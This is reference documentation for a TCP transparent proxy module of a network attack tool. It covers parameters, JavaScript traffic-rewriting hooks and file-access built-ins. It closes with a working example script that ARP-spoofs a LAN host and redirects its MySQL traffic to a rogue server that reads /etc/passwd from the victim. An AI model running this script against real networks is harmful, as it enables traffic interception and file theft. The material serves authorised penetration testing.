tcp.proxy

A TCP transparent proxy that can be scripted using javascript modules. If used together with a spoofer, all TCP traffic to a given address and port will be redirected to it and it will automatically handle port redirections as needed.

The optional tcp.tunnel parameter can be used to redirect the traffic from tcp.address to tcp.tunnel.address.

Commands

tcp.proxy on

Start the TCP proxy.

tcp.proxy off

Stop the TCP proxy.

Parameters

parameter default description
tcp.port 443 TCP port to redirect when the proxy is activated.
tcp.address Mandatory remote address of the TCP proxy.
tcp.proxy.port 8443 Port to bind the TCP proxy to.
tcp.proxy.address <interface address> Address to bind the TCP proxy to.
tcp.proxy.script Path of a proxy module script.
tcp.tunnel.address Address to redirect the TCP tunnel to (optional).
tcp.tunnel.port Port to redirect the TCP tunnel to (optional)

Modules

The tcp.proxy module can be scripted using javascript files that must declare at least one of the following functions:

// called when the script is loaded
function onLoad() {

}

// called when data is available
// return an array of bytes to override "data"
function onData(from, to, data) {

}

Modules can change the data buffer and return it, signaling the proxy to override the original buffer.

Builtin Functions

Modules can use the following builtin functions.

function description
readDir("/path/") Return the contents of a directory as a string array.
readFile("/path/to/file") Return the contents of a file as a string.
writeFile("/path/to/file", "hello world") Write the string hello world to a file, returns null or an error message.
log_debug("message") Log a message in the interactive session (its level will be DEBUG).
log_info("message") Log a message in the interactive session (its level will be INFO).
log_warn("message") Log a message in the interactive session (its level will be WARNING).
log_error("message") Log a message in the interactive session (its level will be ERROR).
log_fatal("message") Log a message in the interactive session (its level will be FATAL).
log("message") Shortcut for log_info("message").
btoa("message") Encode a message to base64.
atob("bWVzc2FnZQ==") Decode a message from base64.
gzipCompress("plaintext data") Compress a string using gzip encoding.
gzipDecompress(")9�\+�I��+I�(QHI,I����") Decompress a gzip encoded string.
env("iface.ipv4") Read a variable.
env("foo", "bar") Set a variable.

Examples

The rogue-mysql-server.cap executes an ARP spoofing attack against a single host and redirect the MySQL traffic to a builtin rogue server:

# set the target for arp spoofing
set arp.spoof.targets 192.168.1.236

# bind rogue mysql server to localhost and
# set the file we want to read
set mysql.server.address 127.0.0.1
set mysql.server.port 3306
set mysql.server.infile /etc/passwd
mysql.server on

# set the ip from the mysql server we want to impersonate
set tcp.address 93.184.216.34
set tcp.port 3306

# set the ip from the rogue mysql server
set tcp.tunnel.address 127.0.0.1
set tcp.tunnel.port 3306

# go ^_^
tcp.proxy on
arp.spoof on